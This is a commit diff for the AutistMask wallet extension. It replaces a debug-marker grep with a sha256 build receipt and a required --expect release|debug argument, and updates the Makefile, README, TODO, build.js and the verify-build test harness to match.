fix: verify the build against its own receipt, with the expected mode as an argument (closes #309)

script/verify-build computed its expectation from AUTISTMASK_DEBUG in its own
environment, and the Makefile invoked it bare, so an operator with that flag
exported who ran the release target got a debug bundle -- every wallet it
creates carrying the publicly committed test recovery phrase -- verified green
at exit 0. The mode is now the required argument --expect release|debug, with
no default and nothing read from the environment; make build passes
--expect release on an env -u AUTISTMASK_DEBUG environment and make build-debug
passes --expect debug. The flag is deliberately still allowed to reach the
compiler, so a shell that has it exported fails make build loudly rather than
quietly receiving something other than the release build it asked for.

The other half was provenance. The check was a marker grep over a file list
read back out of dist/, so a 26-byte file containing only
autistmask-build-debug=off verified ok, manifest.json and the content script
that runs on every page were never read at all, and an entire hand-written
dist/ passed as "1 bundle(s) verified".

build.js now records every file it emits and writes a receipt of them -- path,
sha256, and whether the file is one of the bundles containing constants.js --
to a path the Makefile creates with mktemp per invocation, outside the repo,
and deletes afterwards; a receipt path inside dist/ is refused. dist/ is
cleared before a build, so it holds only what that build wrote.
dist/constants-bundles.txt is gone, and with it the standalone make verify-build
target: re-verifying a dist/ out of the dist/ itself is the thing that was
broken.

verify-build now checks the receipt's shape, then that dist/ contains nothing
the build did not emit and no symlinks, then each recorded file's bytes against
its digest and each audited bundle's marker against --expect. The guarantee is
narrow and README.md states it as such: dist/ is byte for byte the output of
the build.js run that just finished. It proves nothing about the honesty of the
source tree or of build.js, and offers nothing to a third party holding a
dist/. That is signing:
#310

script/test-verify-build goes from 18 cases to 39, extended in place: one per
demonstrated bypass, the missing/invalid argument cases, an AUTISTMASK_DEBUG=1
environment that the verifier must ignore, debug bundles that must fail
--expect release, and four checks that read the make build and make build-debug
recipes back out of make -n. The existing failure modes (grep exit-2, find's
status, newline and trailing-space paths, symlinked dist/, and the root probe
that refuses to count permission cases vacuously) are kept.

Verified: make check green (39 suites / 811 tests, 39 verify-build cases,
permission cases enabled), and green again inside the pinned image via
script/cibuild with --no-cache-filter=check, where the harness runs as root and
reports the setpriv runner rather than skipping. Non-vacuity proved by
mutation: disabling the digest comparison fails exactly the four bypass cases,
removing the dist/ walk fails the eight extra-file and symlink cases, restoring
the ambient AUTISTMASK_DEBUG fallback fails the no---expect case, breaking the
Makefile recipe fails the wiring cases, and dropping manifest.json from the
recorded emissions fails a real make build.

Makefile

@@ -1,4 +1,4 @@
-.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev
+.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug vendor-blocklist clean dev
 
 # Standard targets are thin shims; the implementations live in script/
 # per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -47,10 +47,27 @@ docker:
 hooks:
 	@script/install-precommit
 
+# build.js writes a receipt of everything it emitted — every path, its sha256,
+# and whether it is a bundle containing constants.js — and script/verify-build
+# checks dist/ against that. The receipt is made here, fresh per invocation,
+# outside the repo, and deleted again: a standing file inside dist/ would be
+# rewritten by whoever rewrote dist/, which is what made the old check
+# satisfiable by a hand-written tree.
+#
+# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
+# from the verifier's environment. The script no longer reads it at all; env -u
+# is here so that stays true of anything it calls. It is deliberately NOT
+# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
+# compiles a debug bundle and then fails on it, loudly, rather than quietly
+# handing back something other than the release build that was asked for.
 build:
 	@echo "Building extension..."
-	@yarn run build 2>&1
+	@set -eu; \
-	@script/verify-build
+	receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
+	trap 'rm -f "$$receipt"' EXIT INT TERM; \
+	AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
+	env -u AUTISTMASK_DEBUG script/verify-build --expect release \
+		--receipt "$$receipt"
 	@script/check-censored --require-dist
 
 # Development-only build: enables the red DEBUG / INSECURE banner and makes
@@ -58,15 +75,14 @@ build:
 # distribute the artifacts this produces.
 build-debug:
 	@echo "Building extension (DEBUG)..."
-	@AUTISTMASK_DEBUG=1 yarn run build 2>&1
+	@set -eu; \
-	@AUTISTMASK_DEBUG=1 script/verify-build
+	receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
+	trap 'rm -f "$$receipt"' EXIT INT TERM; \
+	AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
+	env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
+		--receipt "$$receipt"
 	@script/check-censored --require-dist
 
-# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
-# the end of build and build-debug; separate target for re-running it alone.
-verify-build:
-	@script/verify-build
-
 # Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
 # Run deliberately, land the diff: the extension does no runtime fetching, so
 # the shipped list is as fresh as the last vendoring run that was released.

README.md

@@ -48,28 +48,57 @@ Load the extension:
 
 ### Debug Builds
 
-`make build` always produces a release build: the build-time `DEBUG` constant is
+`make build` never hands back a debug build. `make build-debug` is the only
-`false`, so wallet creation uses real entropy and the red banner is off. To
+target that produces one:
-produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
 
 ```bash
-make build-debug          # or: AUTISTMASK_DEBUG=1 make build
+make build-debug
 ```
 
-Only the exact value `1` enables it; any other value (including unset, empty, or
+`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value
-`true`) yields a release build, so a typo cannot accidentally ship the debug
+`1` does; any other value (including unset, empty, or `true`) yields a release
-behavior. The build prints which mode it used. See the
+build, so a typo cannot accidentally ship the debug behavior. But it is the
+compiler's input, not the verifier's: if it happens to be exported in the shell
+that runs `make build`, that target compiles a debug bundle and then **fails**,
+because it tells `script/verify-build` in so many words that it was supposed to
+produce a release build. It used to be that the verifier read the same variable
+out of its own environment, agreed with itself, and reported a debug artifact as
+verified. The build prints which mode it used. See the
 [DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
 distribute a debug build** — every wallet it creates gets the same publicly
 known test recovery phrase.
 
-Both builds end by running `script/verify-build`, which reads the compiled
+Both targets end by running `script/verify-build`, which reads the compiled
 `DEBUG` state back out of the emitted bundles and fails the build if it is not
 the one that was asked for. The test suite cannot check this: it loads
 `src/shared/constants.js` outside a bundle, so it only ever sees the fallback
 value. The assertion is on the artifacts because that is where the property
 lives.
 
+### Build Receipts
+
+`build.js` records every file it emits — path, sha256, and whether the file is
+one of the bundles containing `src/shared/constants.js` — into a build receipt,
+and `script/verify-build` checks `dist/` against that receipt: every recorded
+file present with exactly the recorded bytes, every audited bundle carrying the
+requested `DEBUG` marker, and nothing under `dist/` that the build did not
+write. The `Makefile` creates the receipt path with `mktemp` per invocation,
+outside the repo, and deletes it afterwards.
+
+That is what ties the check to a build rather than to a directory. What it
+establishes is narrow and worth stating exactly: `dist/` is byte for byte the
+output of the `build.js` run that just finished, with nothing added, removed or
+altered in between. It establishes nothing about whether the source tree or
+`build.js` were honest, and it offers nothing to someone handed a `dist/` from
+elsewhere — without the receipt from its own build there is no input to the
+check. Verifiable provenance for a third party is signing, which this is not.
+
+There is deliberately no target that re-verifies an existing `dist/` on its own.
+The list of files to check has to come from the build that produced them; read
+back out of `dist/`, it is the artifact vouching for itself, which is how a
+26-byte file containing only the marker string, a hostile content script, and an
+entire hand-written `dist/` all used to verify green.
+
 ## Entrypoints
 
 This repository adheres to the
@@ -114,20 +143,26 @@ provide:
   serves. Run deliberately, never as part of a build: the output is committed
   and there is no runtime fetch, so the shipped list is as fresh as the last
   vendoring run that was released
-- `script/verify-build` — assert the compiled `DEBUG` state of the bundles in
+- `script/verify-build --expect release|debug --receipt PATH` — assert that
-  `dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG`
+  `dist/` is exactly what the build that just ran emitted, and that the compiled
-  off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of
+  `DEBUG` state of the bundles in it is the one that was asked for. Both
-  `make build` and `make build-debug`; fails loudly rather than passing if it
+  arguments are required and neither has a default: the expected mode is stated
-  cannot determine a bundle's state. Not part of `make check`, which does not
+  by the caller rather than read from `AUTISTMASK_DEBUG`, and the file list
-  depend on build artifacts existing.
+  comes from the build's receipt rather than from `dist/` (see
+  [Build Receipts](#build-receipts)). Run automatically at the end of
+  `make build` and `make build-debug`; fails loudly rather than passing whenever
+  it cannot determine something. Not part of `make check`, which does not depend
+  on build artifacts existing.
 - `script/test-verify-build` — exercise every failure mode of
   `script/verify-build` against a fixture tree in a temp dir, asserting the exit
-  status and the message of each. Part of `make check`; it reads no build
+  status and the message of each, and read the `make build` and
-  artifacts and writes nothing under `dist/`. The cases that depend on file
+  `make build-debug` recipes back out of `make -n` to check that they pass the
-  permissions cannot mean anything for a process that is not subject to them, so
+  mode as an argument on a scrubbed environment. Part of `make check`; it reads
-  the harness proves its runner against a mode-000 file before counting them,
+  no build artifacts and writes nothing under `dist/`. The cases that depend on
-  dropping to an unprivileged user when run as root; if it cannot, it skips
+  file permissions cannot mean anything for a process that is not subject to
-  those cases and says so in a banner rather than passing them.
+  them, so the harness proves its runner against a mode-000 file before counting
+  them, dropping to an unprivileged user when run as root; if it cannot, it
+  skips those cases and says so in a banner rather than passing them.
 - `script/docker` — build the Docker image tagged via `script/projectname`
 - `script/cibuild` — CI entrypoint: plain `docker build .`
 - `script/precommit` — run by the git pre-commit hook; runs `script/check`
@@ -140,9 +175,10 @@ The Makefile shims to those. It also carries a few targets that have no
   of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
   silently rewritten. Use `make setup` for a fresh clone.
 - `make hooks` — shims to `script/install-precommit`
-- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`
+- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`,
-- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see
+  then verify the result against the build's receipt as a release build
-  [Debug Builds](#debug-builds))
+- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a
+  debug build (see [Debug Builds](#debug-builds))
 - `make clean` — remove `dist/`
 - `make dev` — build in watch mode
 

TODO.md

@@ -25,8 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
 milestone is in flight on `next`; its `next` -> `main` PR is
 [#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
 green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
-`dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
+`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to
-compiled off.
+be exactly what that build emitted with `DEBUG` compiled off.
 
 The backlog lives on the
 [Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is
@@ -44,6 +44,34 @@ but the review is broader than any of them.
 
 # Completed Steps
 
+- 2026-08-20: `make build` can no longer hand back a debug build, and
+  `script/verify-build` can no longer be satisfied by bytes the build did not
+  produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
+  verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
+  environment, so an operator with that exported who ran the release target got
+  a debug bundle — every wallet it creates carrying the publicly committed test
+  phrase — certified green at exit 0. The expected mode is now the required
+  argument `--expect release|debug`, with no default and nothing read from the
+  environment, and the `Makefile` scrubs the flag from the verifier while
+  deliberately leaving it reaching the compiler, so that shell fails the build
+  loudly instead of quietly getting something other than what it asked for.
+  Provenance was the other half: the check was a marker grep over a file list
+  read back out of `dist/`, so a 26-byte file containing only
+  `autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
+  script that runs on every page were never read at all, and an entire
+  hand-written `dist/` passed. `build.js` now records every file it emits, with
+  its sha256 and whether it is one of the bundles containing `constants.js`,
+  into a receipt whose path the `Makefile` makes fresh per invocation outside
+  the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
+  `dist/` is cleared before a build so it holds only what that build wrote. The
+  standalone `make verify-build` target went with it: re-verifying a `dist/`
+  from the `dist/` itself is the thing that was broken. What this establishes is
+  narrow and stated as such in README.md — `dist/` is byte for byte the output
+  of the `build.js` run that just finished — and it is not signing, which is
+  [#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
+  `script/test-verify-build` grew from 18 cases to 39, including one per
+  demonstrated bypass and the `make -n` read-back that proves the recipes pass
+  the mode as an argument.
 - 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
   popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
   symbol is whatever the contract's `symbol()` returns, the block explorer

build.js

@@ -1,5 +1,6 @@
 const fs = require("fs");
 const path = require("path");
+const crypto = require("crypto");
 const { execSync } = require("child_process");
 const esbuild = require("esbuild");
 
@@ -8,12 +9,29 @@ const DIST_CHROME = path.join(DIST, "chrome");
 const DIST_FIREFOX = path.join(DIST, "firefox");
 const SRC = path.join(__dirname, "src");
 
-// The module whose compiled DEBUG state script/verify-build asserts, and the
+// The module whose compiled DEBUG state script/verify-build asserts. Which
-// manifest naming every emitted bundle that ends up containing it. The
+// bundles contain it is derived from esbuild's own dependency graph rather
-// manifest is derived from esbuild's own dependency graph rather than from a
+// than from a hardcoded list, so it tracks the bundle layout instead of
-// hardcoded list, so it tracks the bundle layout instead of rotting with it.
+// rotting with it.
 const AUDITED_MODULE = "src/shared/constants.js";
-const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
+
+// The build receipt: every file this build emits, with its sha256 and whether
+// it is one of the audited bundles. script/verify-build is handed this and
+// checks dist/ against it, so the file list comes from the build that just ran
+// rather than being read back out of the tree it is supposed to vouch for.
+//
+// The path is supplied by the caller, not chosen here, and the Makefile makes
+// a fresh one per invocation outside the repo: that is what ties a receipt to
+// one build rather than leaving a standing file anyone can write.
+const RECEIPT_HEADER = "autistmask-build-receipt v1";
+const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
+
+// Every emitted path must be plainly nameable, because the receipt is a
+// line-oriented text file consumed by a POSIX shell script and a path with a
+// space or a newline in it could not be read back unambiguously. Nothing this
+// build emits looks like that; if that ever changes, the build fails here
+// rather than writing a receipt that cannot be checked.
+const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
 
 function ensureDir(dir) {
     fs.mkdirSync(dir, { recursive: true });
@@ -31,10 +49,10 @@ function repoRelative(p) {
 // searching the minified text, it does not depend on what survived minification.
 //
 // The ".js" filter below is the only place that assumption lives:
-// script/verify-build searches every file and symlink under dist/ for a
+// script/verify-build reads every file the receipt names, whatever its
-// marker, without filtering by extension, and hard-fails if it cannot walk the
+// extension, and fails on any that carries a debug marker without being
-// whole tree, so a bundle emitted under some other extension fails there as
+// recorded as an audited bundle — so a bundle emitted under some other
-// unlisted rather than escaping both checks at once.
+// extension fails there rather than escaping both checks at once.
 function outputsContainingAuditedModule(metafile) {
     return Object.entries(metafile.outputs)
         .filter(([outFile, info]) => {
@@ -46,6 +64,94 @@ function outputsContainingAuditedModule(metafile) {
         .map(([outFile]) => repoRelative(outFile));
 }
 
+// Every file this build writes under dist/, recorded as it is written. This is
+// the build's own account of what it emitted; it is never recovered by
+// listing dist/, because a file that is in dist/ without this build having put
+// it there is exactly what the receipt exists to expose.
+const emittedFiles = [];
+
+function recordEmitted(absPath) {
+    emittedFiles.push(absPath);
+}
+
+// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
+// CLI record their outputs where they are invoked.
+function copyEmitted(src, dest) {
+    fs.copyFileSync(src, dest);
+    recordEmitted(dest);
+}
+
+function sha256File(absPath) {
+    return crypto
+        .createHash("sha256")
+        .update(fs.readFileSync(absPath))
+        .digest("hex");
+}
+
+// Write the receipt for the files this build emitted. Deliberately records no
+// build mode: which mode was asked for is script/verify-build's argument, so
+// build.js cannot vouch for build.js. All the receipt says is "these bytes,
+// under these names, are what I wrote, and these ones bundle constants.js".
+function writeReceipt(receiptPath, auditedBundles) {
+    const audited = new Set(auditedBundles);
+    const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
+
+    for (const p of paths) {
+        if (!SAFE_EMITTED_PATH.test(p)) {
+            throw new Error(
+                `emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
+            );
+        }
+    }
+
+    // A bundle esbuild reported but that nothing recorded as emitted means the
+    // two halves have drifted apart, and the receipt would then leave an
+    // audited bundle out. Fail rather than emit a short receipt.
+    for (const bundle of audited) {
+        if (!paths.includes(bundle)) {
+            throw new Error(
+                `${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
+            );
+        }
+    }
+    if (audited.size === 0) {
+        throw new Error(
+            `no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
+        );
+    }
+
+    const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
+    for (const p of paths) {
+        const flag = audited.has(p) ? "A" : "P";
+        lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
+    }
+    fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
+
+    console.log(
+        `Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
+            `containing ${AUDITED_MODULE} (${receiptPath})`,
+    );
+}
+
+// Where the receipt goes, decided before anything is emitted so a build that
+// cannot produce a checkable receipt fails before it writes any artifacts.
+// Inside dist/ is refused: a receipt that lives in the tree it describes can
+// be rewritten by whoever rewrites the tree, which is the hole this replaces.
+function receiptTarget() {
+    const requested = process.env[RECEIPT_ENV];
+    if (!requested) {
+        return null;
+    }
+    const resolved = path.resolve(requested);
+    if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
+        throw new Error(
+            `${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
+                `describes dist/ and must not live in it.`,
+        );
+    }
+    return resolved;
+}
+
 // DEBUG is a build-time flag, off unless explicitly requested. It is the only
 // thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
 // exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -87,6 +193,15 @@ function getBuildInfo() {
 async function build() {
     console.log("Building AutistMask extension...");
 
+    const receiptPath = receiptTarget();
+    if (!receiptPath) {
+        console.warn(
+            `WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
+                `receipt and script/verify-build cannot verify what it ` +
+                `emitted. Build through make build / make build-debug.`,
+        );
+    }
+
     const buildInfo = getBuildInfo();
     console.log("Build info:", buildInfo);
 
@@ -108,19 +223,21 @@ async function build() {
     };
 
     // Emitted bundles that contain constants.js, accumulated across every
-    // esbuild run below and written out for script/verify-build.
+    // esbuild run below and recorded in the receipt for script/verify-build.
     const auditedBundles = [];
 
     // compile tailwind CSS
     console.log("Compiling Tailwind CSS...");
     const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
     const tailwindOutput = path.join(DIST, "styles.css");
+
+    // Start from an empty dist/, so what is there afterwards is what this
+    // build put there and nothing else. Leftovers from an earlier build are
+    // not covered by this build's receipt, and script/verify-build rejects
+    // any file it did not emit rather than ignoring it.
+    fs.rmSync(DIST, { recursive: true, force: true });
     ensureDir(DIST);
 
-    // Drop any manifest from a previous build before emitting anything, so a
-    // build that never gets around to writing one cannot be verified against
-    // a stale list.
-    fs.rmSync(BUNDLE_MANIFEST, { force: true });
     // The locally installed binary, not `npx` — npx silently fetches from the
     // registry when the binary is absent, which is an unpinned network fetch
     // in the middle of a build.
@@ -134,6 +251,7 @@ async function build() {
         `"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
         { stdio: "inherit" },
     );
+    recordEmitted(tailwindOutput);
 
     // Every bundle goes through here, so metafile collection cannot be
     // forgotten when a new entry point is added.
@@ -149,6 +267,7 @@ async function build() {
             metafile: true,
             define,
         });
+        recordEmitted(outfile);
         auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
     }
 
@@ -182,39 +301,39 @@ async function build() {
         );
 
         // copy popup HTML
-        fs.copyFileSync(
+        copyEmitted(
             path.join(SRC, "popup", "index.html"),
             path.join(distDir, "src", "popup", "index.html"),
         );
 
         // place compiled CSS next to popup HTML
-        fs.copyFileSync(
+        copyEmitted(
             tailwindOutput,
             path.join(distDir, "src", "popup", "styles.css"),
         );
     }
 
     // copy manifests
-    fs.copyFileSync(
+    copyEmitted(
         path.join(__dirname, "manifest", "chrome.json"),
         path.join(DIST_CHROME, "manifest.json"),
     );
-    fs.copyFileSync(
+    copyEmitted(
         path.join(__dirname, "manifest", "firefox.json"),
         path.join(DIST_FIREFOX, "manifest.json"),
     );
 
-    // Written last so a build that died partway through leaves no manifest
+    // Written last so a build that died partway through leaves no receipt at
-    // at all, which script/verify-build treats as a hard failure rather than
+    // all, which script/verify-build treats as a hard failure rather than as
-    // as "nothing to check".
+    // "nothing to check".
-    const manifest = [...new Set(auditedBundles)].sort();
+    if (receiptPath) {
-    fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
+        writeReceipt(receiptPath, auditedBundles);
-    console.log(
+    }
-        `Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
-            `(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
-    );
 
     console.log("Build complete: dist/chrome/ and dist/firefox/");
 }
 
-build();
+build().catch((err) => {
+    console.error(`Build failed: ${err && err.message ? err.message : err}`);
+    process.exit(1);
+});

script/test-verify-build

@@ -3,11 +3,13 @@
 # script/verify-build. Our own extension to scripts-to-rule-them-all, run
 # from script/check so make check covers it.
 #
-# Why this exists: verify-build is the build-integrity guard, and three
+# Why this exists: verify-build is the build-integrity guard, and four separate
-# separate reviews of it each found a fresh vacuous pass — the grep exit-2
+# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
-# conflation, the discarded find status, the line-delimited walk. Every one
+# the discarded find status, the line-delimited walk, and then the two the
-# was caught by someone building a tree by hand, because nothing in make check
+# receipt replaced: an expectation read out of the verifier's own environment,
-# could catch it. This is that hand battery, committed and automated.
+# and a file list read back out of the tree it was supposed to vouch for. Every
+# one was caught by someone building a tree by hand, because nothing in make
+# check could catch it. This is that hand battery, committed and automated.
 #
 # Each case asserts the exit status AND a substring of the message. A guard
 # that fails for the wrong reason (right status, different fault) is itself a
@@ -17,7 +19,14 @@
 # the real script: verify-build takes its ROOT from dirname "$0"/.., so it
 # operates on the fixture's dist/ and never reads or writes the repo's build
 # output. The symlink rather than a copy is what makes a deliberate break in
-# the real script fail here.
+# the real script fail here. The fixture's receipt is written from the bytes
+# the fixture actually holds, exactly as a build writes one from the bytes it
+# emitted; a case that means "the build emitted this" regenerates it, and a
+# case that means "something changed dist/ afterwards" does not.
+#
+# The sha256 command is selected here independently of the one verify-build
+# picks. That is deliberate: a harness that reused the implementation's helper
+# would agree with it even when it is wrong.
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
@@ -26,6 +35,8 @@ VERIFY_BUILD="$ROOT/script/verify-build"
 MARKER_ON="autistmask-build-debug=on"
 MARKER_OFF="autistmask-build-debug=off"
 
+RECEIPT_HEADER="autistmask-build-receipt v1"
+
 NEWLINE='
 '
 
@@ -41,6 +52,9 @@ UNPRIV=""
 PERM_ENABLED=no
 PERM_HOW=""
 
+# The sha256 command, chosen by pick_sha256_tool.
+SHA256_CMD=""
+
 WORK=""
 
 cleanup() {
@@ -54,6 +68,10 @@ trap cleanup EXIT INT TERM
 WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
 FIXTURE="$WORK/fixture"
 
+# The build receipt for the fixture, kept outside the fixture's dist/ — and
+# outside the fixture altogether — because that is where a real one lives.
+RECEIPT="$WORK/receipt"
+
 # verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
 # our work dir keeps the run leaving no residue, and keeps it writable for the
 # unprivileged user the permission cases run as.
@@ -65,15 +83,67 @@ chmod 755 "$WORK"
 
 # --- fixture ---------------------------------------------------------------
 
+# The emitted tree a build of this repo produces in miniature: audited bundles
+# (A) that must carry a marker, and plain emitted files (P) that must not —
+# including the content script, which runs on every page, and the manifest,
+# neither of which the pre-receipt verifier read at all.
+FIXTURE_FILES="A dist/chrome/src/popup/index.js
+A dist/firefox/src/popup/index.js
+P dist/chrome/src/content/index.js
+P dist/chrome/manifest.json
+P dist/styles.css"
+
+FIXTURE_REAL=""
+
 # A stand-in for an emitted bundle: some text plus one marker literal, which
-# is all verify-build reads out of the real thing.
+# is all verify-build reads out of the real thing beyond its digest.
 write_bundle() {
     printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
 }
 
-# A dist/ shaped like a real build: two listed bundles under different
+# Digest of $1, taken with the harness's own sha256 command.
-# browsers, an unlisted subtree to make unwalkable, and unlisted files that
+fixture_sha256() {
-# carry no marker and must not be objected to.
+    # Word-split on purpose: SHA256_CMD is a command with its arguments.
+    # shellcheck disable=SC2086
+    _fs_out="$($SHA256_CMD "$1")"
+    printf '%s' "${_fs_out%% *}"
+}
+
+# Write the fixture's receipt, with a substitutable header and root line so the
+# cases can hand verify-build a receipt that is not one.
+write_receipt_custom() {
+    _wrc_header="$1"
+    _wrc_root="$2"
+
+    chmod u+rw "$RECEIPT" 2>/dev/null || true
+    rm -f "$RECEIPT"
+
+    (
+        cd "$FIXTURE"
+        printf '%s\n' "$_wrc_header"
+        printf 'root %s\n' "$_wrc_root"
+        _saved_ifs="$IFS"
+        IFS="$NEWLINE"
+        for _entry in $FIXTURE_FILES; do
+            IFS="$_saved_ifs"
+            _flag="${_entry%% *}"
+            _path="${_entry#* }"
+            printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
+                "$_flag" "$_path"
+            IFS="$NEWLINE"
+        done
+        IFS="$_saved_ifs"
+    ) >"$RECEIPT"
+
+    # Readable by the unprivileged user the permission cases run as, whatever
+    # umask this process has, until a case takes that away on purpose.
+    chmod 644 "$RECEIPT"
+}
+
+write_receipt() {
+    write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
+}
+
 build_fixture() {
     chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
     rm -rf "$FIXTURE"
@@ -87,13 +157,12 @@ build_fixture() {
 
     write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
     write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
+    printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
+    printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
     printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
-    printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
 
-    {
+    FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
-        echo "dist/chrome/src/popup/index.js"
+    write_receipt
-        echo "dist/firefox/src/popup/index.js"
-    } >"$FIXTURE/dist/constants-bundles.txt"
 
     # Readable and traversable by the unprivileged user the permission cases
     # run as, before those cases take that away again on purpose.
@@ -185,7 +254,51 @@ runuser|runuser -u nobody --"
 
 # --- case runner ------------------------------------------------------------
 
-# check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
+# How verify-build is invoked for a case. The arguments are literal here rather
+# than assembled from a string, so nothing about a case's invocation depends on
+# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
+# verifier ignores it — that is the whole of the ambient-environment defect.
+run_verify() {
+    _rv_variant="$1"
+    _rv_perm="$2"
+    _rv_bin="$FIXTURE/script/verify-build"
+
+    case "$_rv_variant" in
+    release | release-envdebug)
+        set -- --expect release --receipt "$RECEIPT"
+        ;;
+    debug)
+        set -- --expect debug --receipt "$RECEIPT"
+        ;;
+    no-expect)
+        set -- --receipt "$RECEIPT"
+        ;;
+    no-receipt)
+        set -- --expect release
+        ;;
+    bad-expect)
+        set -- --expect maybe --receipt "$RECEIPT"
+        ;;
+    unknown-arg)
+        set -- --expect release --receipt "$RECEIPT" --force
+        ;;
+    receipt-in-dist)
+        set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
+        ;;
+    *)
+        echo "test-verify-build: unknown variant $_rv_variant" >&2
+        exit 1
+        ;;
+    esac
+
+    if [ "$_rv_perm" = yes ]; then
+        run_unpriv "$_rv_bin" "$@"
+    else
+        "$_rv_bin" "$@"
+    fi
+}
+
+# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
 #
 # Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
 # requires both the exit status and the message. <perm> marks a case that only
@@ -193,7 +306,7 @@ runuser|runuser -u nobody --"
 check_case() {
     _name="$1"
     _perm="$2"
-    _mode="$3"
+    _variant="$3"
     _want_status="$4"
     _want_text="$5"
     _setup="$6"
@@ -213,23 +326,22 @@ check_case() {
         return 0
     fi
 
-    if [ "$_mode" = debug ]; then
+    # Exported rather than set as a command prefix: run_verify may go through
-        _debug=1
+    # run_unpriv, which is a function, and an assignment prefixed to a function
-    else
+    # call is not portable. Every other case unsets it, so the environment this
-        _debug=""
+    # harness happens to run in cannot decide anything.
-    fi
+    case "$_variant" in
-
+    *envdebug)
-    # Exported rather than set as a command prefix: run_unpriv is a function,
+        AUTISTMASK_DEBUG=1
-    # and an assignment prefixed to a function call is not portable.
+        export AUTISTMASK_DEBUG
-    AUTISTMASK_DEBUG="$_debug"
+        ;;
-    export AUTISTMASK_DEBUG
+    *)
+        unset AUTISTMASK_DEBUG || true
+        ;;
+    esac
 
     _status=0
-    if [ "$_perm" = yes ]; then
+    _out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
-        _out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
-    else
-        _out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
-    fi
 
     _ok=yes
     _why=""
